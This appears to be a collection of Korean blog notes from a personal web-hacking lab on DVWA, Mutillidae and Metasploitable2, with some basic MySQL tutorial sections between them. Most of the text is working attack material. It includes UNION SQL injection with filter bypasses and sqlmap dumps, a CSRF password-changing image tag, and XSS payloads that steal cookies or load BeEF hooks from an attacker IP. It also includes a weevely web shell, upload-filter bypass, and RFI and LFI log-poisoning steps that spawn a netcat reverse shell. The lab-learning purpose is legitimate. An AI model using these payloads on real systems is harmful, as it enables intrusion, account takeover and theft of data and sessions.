[컬럼 개수 알아내기]

 

 

값이 나올때 까지 넣어본다. //노가다

 

1 'union select 1,2,3,4,5 #

1 'union select 1,2,3 # 

1 'union select 1,2 #   //이거만 질의의 응답하므로, 2개이다.

 

 

 

db 이름

' union select 1,database() #

 

테이블 이름

' union select 1,table_name from information_schema.tables #'union select 2,table_name from information_schema.tables where table_schema='dvwa' #

'union select 2,table_name from information_schema.tables where table_schema='dvwa' #

컬럼 이름

' union select 1,column_name from information_schema.columns #

사용자 이름

1'or'1'='1

 

[패스워드] //md5로 저장되어 있음

' union select user,password from users # #

 

 

[우회하는 방법]

http://meta/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#  //기본 쿼리

 

http://meta/dvwa/vulnerabilities/sqli/?id=1' union select table_name,2 from information_schema.tables where table_schema='dvwa'%23&Submit=Submit# // DVWA 테이블 출력

 

 //16진수로 우회
http://meta/dvwa/vulnerabilities/sqli/?id=1' union select table_name,2 from information_schema.tables where table_schema=0x64767761%23&Submit=Submit#

 

//대소문자나 **을 통해 우회
http://meta/dvwa/vulnerabilities/sqli/?id=1%27/**/uNioN/**/sElEct/**/table_name,2/**/from information_schema.tables where table_schema=0x64767761%23&Submit=Submit#  

 

//%20을 통해 우회 %20 공백
http://meta/dvwa/vulnerabilities/sqli/?id=1%27%20uNioN%20sElEct%20table_name,2%20from information_schema.tables%20where%20table_schema=0x64767761%23&Submit=Submit#  

 

 

 

load_File 을 통해 파일을 불러올 수 도 있다.

http://meta/mutillidae/index.php?page=user-info.php&username=admin' union select null,load_file('/etc/passwd'),null,null,null%23&user-info-php-submit-button=View+Account+Details 

'Web Security' 카테고리의 다른 글

sql injection  (0) 2019.04.04
SQL  (4) 2019.04.04
CSRF(Cross Site Request Forgery)  (0) 2019.04.02
brute force 공격  (0) 2019.04.02
crunch [사전파일생성]  (0) 2019.04.02


where 값을 참으로 유도하는 것이 기본 방법이다.



and 가 or 보다 우선순위가 높다.






칼리에서 meta sql 시작.


mysqlu -u root -h meta


use dvwa


create table tusers (select * from users);



insert into tusers (user_id) values(6);

insert into tusers (user,first_name) values('kevin','kim');


insert into tusers select * from tusers;  //tusers의 값을 전부 삽입.


update tusers set first_name='kevin' where first_name is null; //first_name이 null 이면 kevin으로 변경

update tusers set last_name='ryu' where last_name is null; 

//last_name이 null 이면 ryu로 변경

update tusers set last_name='ryu' where last_name='Me';

//last_name이 Me 면 ryu로 변경


delete from tusers where user_id=0;  


delete from tusers; 

//대량 데이터를 삭제할 때 쓰면 시간이 오래걸림.

//row 하나하나 보며 삭제하므로 오래걸림.


truncate tusers; 

 //대량 데이터를 삭제할 때에도 빠르다.

 // 구조만 보고 삭제하기에 빠르다.


drop table tusers; //테이블 삭제



[union]

- 1개 이상의 테이블을 가져올 때 사용.

- 테이블을 합칠 때 사용.

- 컬럼 수가 같아야한다.

- 데이터 타입이 같아야한다.

- 주로 컬럼 개수를 알아낼 때 사용.

- union all //중복되는 것도 출력


select user,first_name,last_name from tusers

union  

select first_name,user,last_name from users;



[개수 알아낼 때 사용]


- 오류가 나지 않을 때 까지 null을 통해 유추.


select * from tusers

union  

select null,null,null,null,null,null ; 

//굳이 null이아니라 1,2,3,4,5,6 이런식도 가능





select count(first_name) from tusers;         //first_name의 총 개수

select count(*) from tusers;         //전체 행개수






sql injection 에선 select만 사용한다.




use information_schema;


desc information_schema.tables;

select table_name,table_schema

     from information_schema.tables

     where table_schema='dvwa';


select table_name,table_schema,column_name

     from information_schema.columns

     where table_schema='dvwa';


[JOIN]


연결시켜주는 것.


select t.table_name,t.table_schema,c.column_name

from information_schema.tables t JOIN

information_schema.columns c

where t.table_name =c.table_name;




CREATE database websec;  //websec db 생성

use websec;         //db 접속


//websec.employees 테이블 생성

CREATE TABLE websec.employees    


empid mediumint not null auto_increment primary key, 

empFname varchar(40) not null, 

empLname varchar(20) not null, 

empAge int not null);


//데이터 삽입

INSERT INTO websec.employees

VALUES(EMPID,'il','KIM','10');


INSERT INTO websec.employees

VALUES(EMPID,'ii','KIM','11');


INSERT INTO websec.employees

VALUES(EMPID,'sam','KIM','12');


INSERT INTO websec.employees

VALUES(EMPID,'sa','KIM','13');


INSERT INTO websec.employees

VALUES(EMPID,'oh','KIM','14');


INSERT INTO websec.employees

VALUES(EMPID,'yook','KIM','15');


INSERT INTO websec.employees

VALUES(EMPID,'chil','KIM','16');


INSERT INTO websec.employees

VALUES(EMPID,'pal','KIM','17');


INSERT INTO websec.employees

VALUES(EMPID,'gu','KIM','18');


INSERT INTO websec.employees

VALUES(EMPID,'ship','KIM','19');


INSERT INTO websec.employees

VALUES(EMPID,'il','Lee','10');


INSERT INTO websec.employees

VALUES(EMPID,'ii','Lee','11');


INSERT INTO websec.employees

VALUES(EMPID,'sam','Lee','12');


INSERT INTO websec.employees

VALUES(EMPID,'sa','Lee','13');


INSERT INTO websec.employees

VALUES(EMPID,'oh','Lee','14');


INSERT INTO websec.employees

VALUES(EMPID,'yook','Lee','15');


INSERT INTO websec.employees

VALUES(EMPID,'chil','Lee','16');


INSERT INTO websec.employees

VALUES(EMPID,'pal','Lee','17');


INSERT INTO websec.employees

VALUES(EMPID,'gu','Lee','18');


INSERT INTO websec.employees

VALUES(EMPID,'ship','Lee','19');


INSERT INTO websec.employees

VALUES(EMPID,'il','Gu','10');


INSERT INTO websec.employees

VALUES(EMPID,'ii','Gu','11');


INSERT INTO websec.employees

VALUES(EMPID,'sam','Gu','12');


INSERT INTO websec.employees

VALUES(EMPID,'sa','Gu','13');


INSERT INTO websec.employees

VALUES(EMPID,'oh','Gu','14');


INSERT INTO websec.employees

VALUES(EMPID,'yook','Gu','15');


INSERT INTO websec.employees

VALUES(EMPID,'chil','Gu','16');


INSERT INTO websec.employees

VALUES(EMPID,'pal','Gu','17');


INSERT INTO websec.employees

VALUES(EMPID,'gu','Gu','18');


INSERT INTO websec.employees

VALUES(EMPID,'ship','Gu','19');



select sum(empAge)

from websec.employees;




select avg(empAge)

from websec.employees;




select max(empAge)

from websec.employees;


select min(empAge)

from websec.employees;


select empID,empFname,empLname

from websec.employees

where empID=1;





[sql injection]


- 메서드에 매개값을 이용하여 재구성 후 쿼리.

- 비정상적인 쿼리를 개발해서 dbms로 쿼리.

- 인증,데이터 탈취,원격명령 실행

- 인증 : 아이디,암호를 입력받은 페이지를 대상으로 공격

- 논리적인 연산 오류를 이용

- TRUE OR FLASE 즉 TRUE 조건을 만들어 인증을 통과하게 만듦.

    



http://meta/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#

//url이 위와같이 id=1,2,3 이런식으로 나타내면 db와 직접적으로 연동이 된다는 것 즉 , sql injection을 쓸 수 있는 url이라고 판단 가능.



select * from users where user=' 'AND password='A';
select * from users where user='1'OR'1'='1  

이러한 입력 공간에는 ' ' 가 생략되어 있다. 따라서



1' or '1' ='1       
//이런식으로 앞 뒤의 ' ' 을 제외하고 입력을 해주게 되면

//계정 정보가 전부 보이게 된다.



패스워드에 1' or '1' ='1   입력.



//로그인이 성공되었다.


select * from users where user='1'OR'1'='1' AND password='1'OR '1'='1'; 
이 구문으로 쿼리가 등록되므로 조건이 true가 되어 로그인이 된다.


 
[meta/mutillidae 을 통해 실습]


1. burp start burp


// proxy에서 옵션 부분에서 아래와 같이 체크.


2. id : admin pw :admin이라고 로그인.

username=admin&password=admin&login-php-submit-button=Login

username과 password를 쓴다는 것을 유추.


3. id 에 '만 입력 //일부로 오류 출력



select * from accounts where username=''' AND password='' /

/multillidae의 쿼리문을 알게됨.


select * from accounts where username='1' OR '1'='1' AND password='1' OR '1'='1' //이런식으로 구문을 완성시킨다.

4. id와 pw에 1' OR '1'='1 을 입력 하구 인터셉트

html문으로 변환되어 전송됨.


%27 -> '
%3D -> =


해석 하면 아래와 같이 나옴.

username=1'+OR+'1'%='1&password=1'+OR+'1'='1&login-php-submit-button=Login


쿼리문이 참이 되므로 로그인이 됨.





일부러 로그인 에러를 내고  url 출력.


http://meta/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details



http://meta/mutillidae/index.php?page=user-info.php&username=admin%23&password=password&user-info-php-submit-button=View+Account+Details


#을 추가해줌으로써 뒤에 문이 전부 주석처리됨.

#을 html 코드로 추가. %23


잘되지 않으면 order by을 추가

http://meta/mutillidae/index.php?page=user-info.php&username=admin' order by 1%23&password=password&user-info-php-submit-button=View+Account+Details


//admin에 대한 정보가 출력된다.



[컬럼의 개수 확인]


http://meta/mutillidae/index.php?page=user-info.php&username=admin' order by 100%23&password=password&user-info-php-submit-button=View+Account+Details



http://meta/mutillidae/index.php?page=user-info.php&username=admin' order by 50%23&password=password&user-info-php-submit-button=View+Account+Details



http://meta/mutillidae/index.php?page=user-info.php&username=admin' order by 5%23&password=password&user-info-php-submit-button=View+Account+Details



이런식으로 order by을 통해 에러가 나지 않을 때 까지 값을 넣어서 컬럼의 개수를 확인할 수 있다.  개수는 5개.


[union을 통해 다양한 정보 수집]


http://meta/mutillidae/index.php?page=user-info.php&username=admin' union select 1,database(),user(),version(),5%23&password=password&user-info-php-submit-button=View+Account+Details

union을 통해 databases의 이름을 알아냈다.




[mysql dbms의 테이블 정보 추출] 

http://meta/mutillidae/index.php?page=user-info.php&username=admin' union select 1,table_name,null,null,5 from information_schema.tables%23&password=password&user-info-php-submit-button=View+Account+Details



[owasp10 데이타베이스의 테이블 정보 추출]


http://meta/mutillidae/index.php?page=user-info.php&username=admin' union select 1,table_name,null,null,5 from information_schema.tables where table_schema='owasp10'%23&password=password&user-info-php-submit-button=View+Account+Details




[accounts테이블의 컬럼 정보 추출]

http://meta/mutillidae/index.php?page=user-info.php&username=admin' union select 1,column_name,null,null,5 from information_schema.columns where table_name='accounts'%23&password=password&user-info-php-submit-button=View+Account+Details






[sqlmap]


sqlmap -u "http://meta/mutillidae/index.php?page=user-info.php&username=admin&password=aaa&user-info-php-submit-button=View+Account+Details"  



sqlmap -u "http://meta/mutillidae/index.php?page=user-info.php&username=admin&password=aaa&user-info-php-submit-button=View+Account+Details" --current-user  



sqlmap -u "http://meta/mutillidae/index.php?page=user-info.php&username=admin&password=aaa&user-info-php-submit-button=View+Account+Details" --current-db




sqlmap -u "http://meta/mutillidae/index.php?page=user-info.php&username=admin&password=aaa&user-info-php-submit-button=View+Account+Details" --tables -D owasp10  

sqlmap -u "http://meta/mutillidae/index.php?page=user-info.php&username=admin&password=aaa&user-info-php-submit-button=View+Account+Details" --columns -T accounts -D owasp10  


sqlmap -u "http://meta/mutillidae/index.php?page=user-info.php&username=admin&password=aaa&user-info-php-submit-button=View+Account+Details" -T accounts -D owasp10 --dump  


sqlmap -u "http://meta/mutillidae/index.php?page=user-info.php&username=admin&password=aaa&user-info-php-submit-button=View+Account+Details" --os-shell  


sqlmap -u "http://meta/mutillidae/index.php?page=user-info.php&username=admin&password=aaa&user-info-php-submit-button=View+Account+Details" --sql-shell    //sql shell을 불러옴





'Web Security' 카테고리의 다른 글

dvwa 모의 해킹  (0) 2019.04.08
SQL  (4) 2019.04.04
CSRF(Cross Site Request Forgery)  (0) 2019.04.02
brute force 공격  (0) 2019.04.02
crunch [사전파일생성]  (0) 2019.04.02



mysql -u root -h meta //meta sql에 접속.

mysql -p mysql //접속


create database korea;  //테이블 생성


use korea;   //korea DB로 접속


create table stdtbl(          //stdtbl 테이블 생성

    -> stdid int not null primary key,

    -> name char(15) not null,

    -> age int(10) not null,

    -> height varchar(10),

    -> sex char(5),

    -> addr varchar(25));


desc stdtbl;     //내림차순으로 테이블 확인



create table haktbl (
    -> num int not null auto_increment primary key,
    -> haknum int not null,
    -> name char(15),
    -> class1 char(15),
    -> group1 varchar(25),
    -> etc char(15));



alter table stdtbl rename stdtbl7;  //테이블명 변경


[속성 변경]
modify
alter table stdtbl modify name char(15);  



 alter table stdtbl modify name varchar(15) not null; 


alter table stdtbl change name name7 char(15) not null; 
//테이블명과 속성 값 까지 변경

alter table stdtbl drop primary key; //기본키삭제


alter table stdtbl modify stdid int not null  primary key; 
//기본키 생성



alter table stdtbl drop addr;  //addr 필드 삭제


alter table stdtbl add addr varchar(25);


alter table stdtbl add weight int not null after name7;
//name7 다음에 weight필드 추가


alter table stdtbl add num int first; //맨 처음에 num 필드 추가


alter table stdtbl modify num int not null;  //not null로 변경



[테이블 복사]
create table stdtbl2(select * from stdtbl);  //stdtbl 테이블 복사




[데이터 삽입]
insert into stdtbl values(001,001,'pyw',60,21,'183','M','Seoul');


select * from stdtbl;



insert into haktbl values(null,001,'pyw','computer','blackcat','hi'); 


//auto_increment을 준 필드에 null을 입력하면 자동으로 1씩 증가한다.




[데이터 업데이트]




update haktbl  set haknum=3 where name7='pjs';  
//pjs의 haknum을 3으로 변경



[구매 테이블]

1. 테이블 생성


 create table buytbl(          

    -> num int not null auto_increment primary key,

    -> userId int not null,

    -> name char(15) not null,

    -> sex char(10) not null,

    -> product varchar(20) not null,

    -> price int not null,

    -> number1 int not null,

    -> addr varchar(25));


2. flush privileges;  //즉시적용

3. desc buytbl;      //테이블 생성 확인


4. 데이터 삽입
insert into buytbl values(null,001,'pyw','M','coumputer',1000000,2,'Seoul');

5. flush privileges;  //즉시적용


6. 분류 번호 추가 

alter table buytbl add group1 char(15) after number1;


7. 그룹1 값을 업데이트로 넣어주기.

update buytbl set group1='elec' where num=1;




8. 계속 데이터 삽입





[필드명 별칭부여]

필드명 as "별칭"

select name as "아이디",product as "상품명",price as "가격" from buytbl;





[order by]  

필드명 desc  //내림차순 

필드명 asc //오름차순

limit 3 // order by로 조건 건 검색 중 3개만 검색


select * from buytbl order by group1 asc limit 3;

 //group1을 오름차순으로 정렬하여 3개만 검색


select * from buytbl where price >= 60000 and price <= 100000;

//60000<=price <=100000원 사이의 값 검색


select * from buytbl where price >= 6000 and price <=50000 order by num desc;
//6000~50000원 사이의 값을 num을 기준으로 내림차순으로 출력


select * from buytbl where price between 7000 and 900000;

//7천원과 900000원 사이 값 출력


[최댓값과 최소값]

 select name,max(price),min(price) from buytbl;  //제일 비싼 값과 제일 싼값 



[비슷한 글자 검색]

select * from buytbl where name like 'p__';  
//p로시작하구 뒤에 2글자



select * from buytbl where name like 'p%';
//p로 시작하는 글자

[sum 집계함수]

select * from buytbl;




select userid,group1, sum(price) from buytbl group by group1 order by sum(price) asc;
//group1의 속하는 price을 합친 값을 검색



select userid,group1, sum(price*number1) from buytbl group by group1 order by sum(price) asc;

//group1의 속하는 price*number1 값을 검색



elect userid,group1, sum(price*number1) from buytbl group by group1 with rollup;

//합계 표시 rollup





[union]

- 1개 이상의 테이블을 가져올 때 사용.

- 테이블을 합칠 때 사용.

- 컬럼 수가 같아야한다.

- 데이터 타입이 같아야한다.

- 주로 컬럼 개수를 알아낼 때 사용.

- union all //중복되는 것도 출력



select user,first_name,last_name from tusers

union  

select first_name,user,last_name from users;



[개수 알아낼 때 사용]


- 오류가 나지 않을 때 까지 null을 통해 유추.


select * from tusers

union  

select null,null,null,null,null,null ; 

//굳이 null이아니라 1,2,3,4,5,6 이런식도 가능





[ 개수 출력]


select count(first_name) from tusers;         //first_name의 총 개수

select count(*) from tusers;         //전체 행의 개수







[mysql 접근통제]

vi /etc/my.cnf            //mysql 환경설정파일


bind-address=192.168.232.210 //192.168.232.210 만 허용






[mysqlshow]

mysqlshow --host=192.168.232.131  //db에 접속하지 않고 db정보를 볼 수 도 있다.

mysqlshow --host=192.168.232.131 dvwa 

mysqlshow --host=192.168.232.131 --count dvwa 










'Web Security' 카테고리의 다른 글

dvwa 모의 해킹  (0) 2019.04.08
sql injection  (0) 2019.04.04
CSRF(Cross Site Request Forgery)  (0) 2019.04.02
brute force 공격  (0) 2019.04.02
crunch [사전파일생성]  (0) 2019.04.02

CSRF(Cross Site Request Forgery)

  • 사이트 사이의 요청 위조
  • 사용자가 자기도 모르는 사이에 공격자에 이용당하는 것
  • 사용자의 의지와 상관 없이 공격자가 의도한 대로 행위(패스워드 수정,삭제)하도록 만드는 것
  • XSS stored와 비슷
  • 옥션이 이공격당함.
  • 메일에 스크립트를 넣는 공격 방식도 있음

 

 

 

 

[form 값을 통해 패스워드 변경]

 

 

1. password의 form값을  leafpad를 통해 저장.

소스창 열기.
form부분에서 Edit as HTML 선택
form문구를 복사해서 leafpad에 저장.

 

 

2. 가져온 form 에서 action값을 수정.

http://meta/dvwa/vulnerabilities/csrf 로 수정.

3. html파일을 클릭하여 333333으로 비밀번호 체인지.

변경이 됨.

 

 

[스크립트 수정으로 패스워드 변경]

1. 아까 가져온 form에서 안에 내용 수정   

확인을 누르지않아도 자동으로 비밀번호가 "444444"으로 변경되게함 .


   2. 수정한 html문서를 실행시키면 비밀번호가 자동으로 변경이됨.

    

444444로 자동으로 변경됨.



    

 

[게시글을 통해 패스워드 변경]

 

 

1. 아래의 내용을 게시판에 업로드.

//adminpass로 비번을 변경시키는 스크립트.

도와달란말이다.   //일반 게시글인척 위장하기위해 평문 작성.

<img width=0 heigh=0 src="http://meta/dvwa/vulnerabilities/csrf/?password_new=adminpass&password_conf=adminpass&Change=Change#"></img>

 

게시글을 읽는 즉시, 어드민의 비밀번호가 adminpass로 변경이 된다.
    

    
    

    
    

    
    

 

    
    

    
    

    
    

 

    


'Web Security' 카테고리의 다른 글

sql injection  (0) 2019.04.04
SQL  (4) 2019.04.04
brute force 공격  (0) 2019.04.02
crunch [사전파일생성]  (0) 2019.04.02
XSS(Cross Site Scripting) ,Session hijacking(BeEF)  (0) 2019.03.29

[사전파일 생성]

mkdir /pentest

cd /pentest

cat > passwordlist.txt

password
Password
Passw0rd
P@ssword
admin
passwordadmin
adminpass

 

 

cat >userlist.txt
root
kevin
pyw
admin
administrator
trump

 

 

 

[메타스플로잇]

1. Brup Start burp를 통해 bruteforce 공격

password 사전파일 로드.
로드된 이미지.

 

 

2. 인터셉트를 키고 로그인.

Clear$를  통해 초록 줄을 삭제.
123만 드래그해서 add$
위와같이 초록줄이 생기면 성공.
스타트를 눌러 공격 시작.
admin에 맞는 비밀번호만 길이가 다르다.

 

 

[id와 패스워드 둘다 모를 때]

Cluster bomb로 변경.
1번째 인자 값은 id이므로 idlist를 로드.
2번째 인자값은 password기에 passwordlist 로드.
길이가 다른 하나가 답이다.

'Web Security' 카테고리의 다른 글

SQL  (4) 2019.04.04
CSRF(Cross Site Request Forgery)  (0) 2019.04.02
crunch [사전파일생성]  (0) 2019.04.02
XSS(Cross Site Scripting) ,Session hijacking(BeEF)  (0) 2019.03.29
RFI(Remote File Inclusion)  (0) 2019.03.27

 

crunch 1 3 -o text.txt //text.txt파일명으로 1~3자리 영어가 무작위로 생성됨.

 

crunch 3 3 -t a@b -o text.txt  // 첫글자가 a 마지막 글자가 b 가운데 글자만 무작위 생성.

 

 

 

'Web Security' 카테고리의 다른 글

CSRF(Cross Site Request Forgery)  (0) 2019.04.02
brute force 공격  (0) 2019.04.02
XSS(Cross Site Scripting) ,Session hijacking(BeEF)  (0) 2019.03.29
RFI(Remote File Inclusion)  (0) 2019.03.27
LFI(Local File Inclusion)  (0) 2019.03.26

XSS 공격 종류

  • Persistent XSS(stored XSS)  
  • Non-persistent XSS(reflected XSS) 
  • DOM-Based XSS

 

 

[reflected XSS] 

url을 통해 스크립트를 실행시킨다.

 

 

[보안레벨 low]

위의 소스를 바탕으로 하는 실습이다.

 

이소스를 meta에 넣어보면,

<script language="JavaScript">alert ("Welcome");</script> 

 

이런식으로 출력 된다.

 

아래 문장을 실행하게 되면 쿠키값을 볼 수 있게된다.

 

http://meta/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.cookie);</script>#

 

www.w3.org사이트로 이동되게하는 스크립트

http://meta/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.location.href="https://www.w3.org");</script>#

 

 

[보안레벨 medium]

 

http://meta/dvwa/vulnerabilities/xss_r/?name=<script>alert("Welcome to the world")+;</script># 

script를 replace하기때문에 실행이 되지 않는다.

 

http://meta/dvwa/vulnerabilities/xss_r/?name=<script+language="JavaScript">alert("Welcome to the world")+;</script>#

따라서 language="JavaScript"를 넣어주면 script만 필터링하던 값을 벗어나게 되므로 실행이 된다.

위에서 했던 쿠키값을 medium난이도에서 보려면 아래와 같이 입력.

http://meta/dvwa/vulnerabilities/xss_r/?name=<script+language="JavaScript">alert(document.cookie);</script>#

 

[보안레벨 high]

모든 url공격이 통하지 않는다. htmlspecialchars가 보호하기 때문이다.

 

 

 

위에는 직접 url에 입력함으로써 취약점을 찾아보았다. 이번엔 프로그램을 사용해서 XSS를 해보겠다.

[BeFF]

  Web UI: http://127.0.0.1:3000/ui/panel 
   Hook:  <script src="http://:3000/hook.js"></script>
 Example: <script src="http://[공격자ip]:3000/hook.js"></script> //공격 코드 

 

 

1.prepare the Script

<script src="http://192.168.232.100:3000/hook.js"></script>  //열린3000포트로 공격

2 BeFF

로그인 기본값 id beef pw beef  

맨처음 이미지.

 

 

3. 

192.168.232.131 //메타스플로잇 ip

192.168.232.140 //칼리 ip
url에 실행.

http://meta/dvwa/vulnerabilities/xss_r/?name=<script src="http://192.168.232.140:3000/hook.js"></script>#

공격자에게 자신의 ip와 다른 정보들이 들어가게된다.

pretty theft //상대방을 속여서 ip와 pw을 얻는 방법.

공격 대상자에게 페이스북에 관련된 화면이 출력된다 .

 

여기에 공격대상자는 이메일과 password를 입력하게되면,
위의 이미지와 같이 입력된 값이 공격자에게 보이게 된다.


[stored XSS]

 

 

1. 메시지창의 크기를 늘린다.

2. 저장 게시판에 스크립트 저장.

 

게시판에

Name : Admin

Message :

<script src="http://192.168.232.140:3000/hook.js"></script>

스크립트는 화면에 출력되지 않는다.
따라서 View Page Source를 통해 확인해본다. 스크립트가 잘 들어가있는지.

 

3. windows 10 에서 접속.

http://192.168.232.131/dvwa 로 접속

 

Xss  stored를 들어오게 되는 순간, 공격자에게 정보가 들어가게 된다.

4. 피싱사이트

공격자가 띄운 구글화면이다. 이화면에 아이디와 패스워드를 입력하게 되면
이런식으로 입력한 값이 공격자에게 넘어간다.

 

[세션 하이재킹]

 

1. beef로 얻어온 192.168.232.150 의 정보에서 세션을 복사한다.

 4ae7fd30d9efc30d1f105940b7ad4d60

 

2. burp-startburp에서 인터셉스를 키고 meta에 접속 //칼리에서

3. 접속해서 나온 세션 값을 1번의 세션 값과 , 보안 설정을 low로 해야 테스트가 잘되므로, 바꿔준다.

4. 변경한 후, forward를 클릭하면 192.168.232.150의 세션으로 들어가져, 로그인을 하지 않아도 로그인 상태가 된다.

 

[세션 하이재킹의 다른 방법]

 

 

공격대상자가 공격자에게 접속했을 때 쿠키값을 바로 띄우는 코드

 

1. netcat으로 포트 개방

nc -vvlp 80

 

2. 게시글 작성.

Could you help me out? I've got some problems to explore this web site. //아무 평문입력.

<img name='i' width='0' height='0' </img>  //가로 세로 길이를 0으로해 스크립트를 가림.

<script>i.src='http://192.168.232.140/help.php?'+document.cookie</script>//공격자 ip

 

 

스크립트는 보이지 않는다.

3. 공격대상자에서 게시글을 확인.

4. nc에 쿠키값이 들어온 것을 확인.

5. 첫번째에 했던 방법대로 burp-startburp 에서 인터셉트를 키고 세션값을 바꿔 forward한다.

PHPSESSID를 탈취한 세션값으로 변경.

 

6. 세션을 탈취해 아래와 같이 로그인을 하지 않고 로그인이 된 것을 볼 수 있다.

 

 

 

[weevely]

web shell 만드는 툴

weevely generate 1234 ./shell.php    //shell.php로 생성 1234는 비번

생성된 web shell의 값

 

1.  만든 쉘을 업로드를 한다.

업로드 성공한 화면.

2. 쉘이 세션을 탈취.

weevely http://meta/dvwa/hackable/uploads/shell.php 1234 

탈취에 성공한 모습.

 

[url을 통해 shell적용]

1. weevely generate 1234 ./shell-1.php    //생성

vi shell-1.php 

맨밑에 

system($system($_GET['cmd']); 추가

 

2. shell-1.php  업로드

3. url을 통해 직접 입력.

http://meta/dvwa/hackable/uploads/shell-1.php?cmd=cat%20/../../../../etc/passwd

cmd문장을 추가했기때문에 cat명령을통해 화면에 출력된다.

 

 

[php 업로드 안되는 것을, 업로드하는법]

 

1. php가 업로드가 안되는 화면.

2. php를 jpg로 변환해서 업로드.

3.burp-start burp를 통해 jpg를 php로 변환해서 업로드.

jpg를 php로 변환

 

jpg로 올린것을 php로 변환해 업로드가 된것을 확인할 수 있다.

'Web Security' 카테고리의 다른 글

brute force 공격  (0) 2019.04.02
crunch [사전파일생성]  (0) 2019.04.02
RFI(Remote File Inclusion)  (0) 2019.03.27
LFI(Local File Inclusion)  (0) 2019.03.26
정보수집(maltego와 dirb스캐닝)  (0) 2019.03.25

RFI(Remote File Inclusion)

공격자가 악성 스크립트를 웹서버에 전달해서 해당 페이지를 통해서 악성코드를 실행하는 공격 방법

 

php.ini의 allow_url_include On //이상태에서만 공격이 가능. 현재는 기본값이 OFF라 사용하기 힘듦.

 

[Metasploitable2]

 

1. vi /etc/php5/cgi/php.ini에서

allow_url_include를 On으로 변경 //공격을위해 변경.

Off값을 아래와같이 On으로 변경

2. /etc/init.d/apache2 restart //설정 저장을 위해 재시작

 

3. 공격자 시스템에서 httpd를 구현

cd /var/www/html

vi reverse.txt 

<?php passthru("nc -e /bin/sh 192.168.232.100 8888"); ?>

 

4. 공격자 시스템에서 httpd 시작

systemctl start apache2

5. 검증

http://localhost/reverse.txt 를 url에 입력

6. 포트 8888 열기

nc -vvlp 8888

 

7. admin/password 로그인

 

8. Security lever low로 변경

 

9. file inclution 클릭

http://meta/dvwa/vulnerabilities/fi/?page=include.php

include.php 대신 http://192.168.232.100/reverse.txt를 입력

 

10. reverse.txt파일이 실행되어 원격접속이 된 것을 확인.

 

'Web Security' 카테고리의 다른 글

crunch [사전파일생성]  (0) 2019.04.02
XSS(Cross Site Scripting) ,Session hijacking(BeEF)  (0) 2019.03.29
LFI(Local File Inclusion)  (0) 2019.03.26
정보수집(maltego와 dirb스캐닝)  (0) 2019.03.25
http  (0) 2019.03.25

LFI(Local File Inclusion)

웹브라우저를 통해서 서버에 파일을 포함시키는 과정의 공격



원할한 공격을 위해 meta의 보안레벨을 low로 설정.


이 규칙에 의해 밑에 실습이 허용된다.




url을 일부로 오류를 내게되면

위의 그림과 같이 에러메세지가 출력되는데, 이것을 통해 폴더 안에 정보를 확인할 수 있다. 


이부분을 var/www/dvwa/vulnerabilities/fi/index.php 

현재위치가 var/www/dvwa/vulnerabilities/fi 총 5개로

../../../../../ -> root로 돌아온것이구 여기서 보고싶은 파일 이름을치면


아래와 같이 /etc/passwd의 파일 내용을 볼 수 있다.


같은방법으로 /var/www/dvwa/robots.txt파일의 내용도

../../../../../var/www/dvwa/robots.txt



프록시

자신의 위치를 속일 수 있음.

클 -> 프 -> 서


클 -> 프 //클라 ip -> 프록시에게 전송

  //클라는 127.0.0.1에 포트 8080 오픈

프 -> 서 //프록시 ip -> 서버에게 전송


burp-StartBurp //프록시 실행 프로그램



// 127.0.0.1 8080 으로 실행


파이어폭스에서


설정한 ip와 포트번호



세션을 맺었기 때문에 아래와 같이 로그가 남는다.



헤더의 정보를 이런식으로 확인할 수 있다.


[인터셉트를 통해 php문 삽입]


1.  인터셉트를 온으로 한다.


2.url에 http://meta/dvwa/vulnerabilities/fi/?page=/../../../../../proc/self/environ을 입력. 


3. 아래와 같이 탈취를하게 되는데, user-agent부분을 

<?php phpinfo() ?>로 변경


4. 요청한 페이지가 phpinfo()로 변경되어 접속이 된다.



아래와 같이 신분증과 같은역할의 값을 확인할 수 있다.




php 함수 중 passthru()

외부 프로그램을 실행하고 실행하는 동안 화면을 실시간으로 출력하는 함수 즉, 원격 접속과 비슷하다.

<?php passthru() ?>


netcat 프로그램 사용

-l  옵션 : 임의의 포트를 열어 원격접속이 가능하게 함. listen port

-p 옵션 : 포트 번호 지정

-e 옵션 : 셸을 실행

nc -vvlp 8888 //8888 포트를 개방하고 자세히 출력


열린 것 을 확인.

netstat -ant |grep 8888


<?php passthru("nc -e /bin/sh [공격자 IP] [열어놓은포트번호]"); ?>

<?php passthru("nc -e /bin/sh 192.168.232.100 8888"); ?>


이런식으로 원격접속이 가능하게 된다.


cd /var/www/dvwa

vi index.php 수정





[SSH 연결을 통해 원격관리]

SSH TCP 22 암호화된 연결제공

ssh -l msfadmin 192.168.232.131 

ssh msfadmin@192.168.232.131

원할한 테스트를위해 메타스플로잇2의 로그를삭제.

vi /var/log/auth.log

:%d   //안에 값을 전부삭제

:wq //저장


ssh를 통해 아무 아이디로 로그인

ssh random@192.168.232.131


위의 로그인했던 정보가 auth.log에 기록된다.


wireshark로 확인해 보면 암호화로 되는 것을 볼 수 있다.


burp suite에서 decoder를 통해 아래 문장을 변환한다.

nc -e /bin/sh 192.168.232.100 8888 

bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjIzMi4xMDAgODg4OA 암호화된 문장을 php의 추가

==을 삭제해야 실행된다.


base64로 암호화 했기 때문에 base64_decode를 붙여준다.

<?php passthru(base64_decode("bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjIzMi4xMDAgODg4OA")); ?>


msfadmin@192.168.232.131  //빨간색으로 대체.

ssh "<?php passthru(base64_decode("bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjIzMi4xMDAgODg4OA")); ?>"@192.168.232.131

비번 아무거나 입력


이렇게 원격 접속이 된다.











'Web Security' 카테고리의 다른 글

XSS(Cross Site Scripting) ,Session hijacking(BeEF)  (0) 2019.03.29
RFI(Remote File Inclusion)  (0) 2019.03.27
정보수집(maltego와 dirb스캐닝)  (0) 2019.03.25
http  (0) 2019.03.25
bee-box설치  (0) 2019.03.21


[웹에대한 정보수집사이트]



https://whois.domaintools.com

https://toolbar.netcraft.com

https://www.robtex.com


이런식으로 그사이트에대한 정보를 알 수 있다.



http://phptest.vulnweb.com   //공격해도 무방. 연습할때 사용

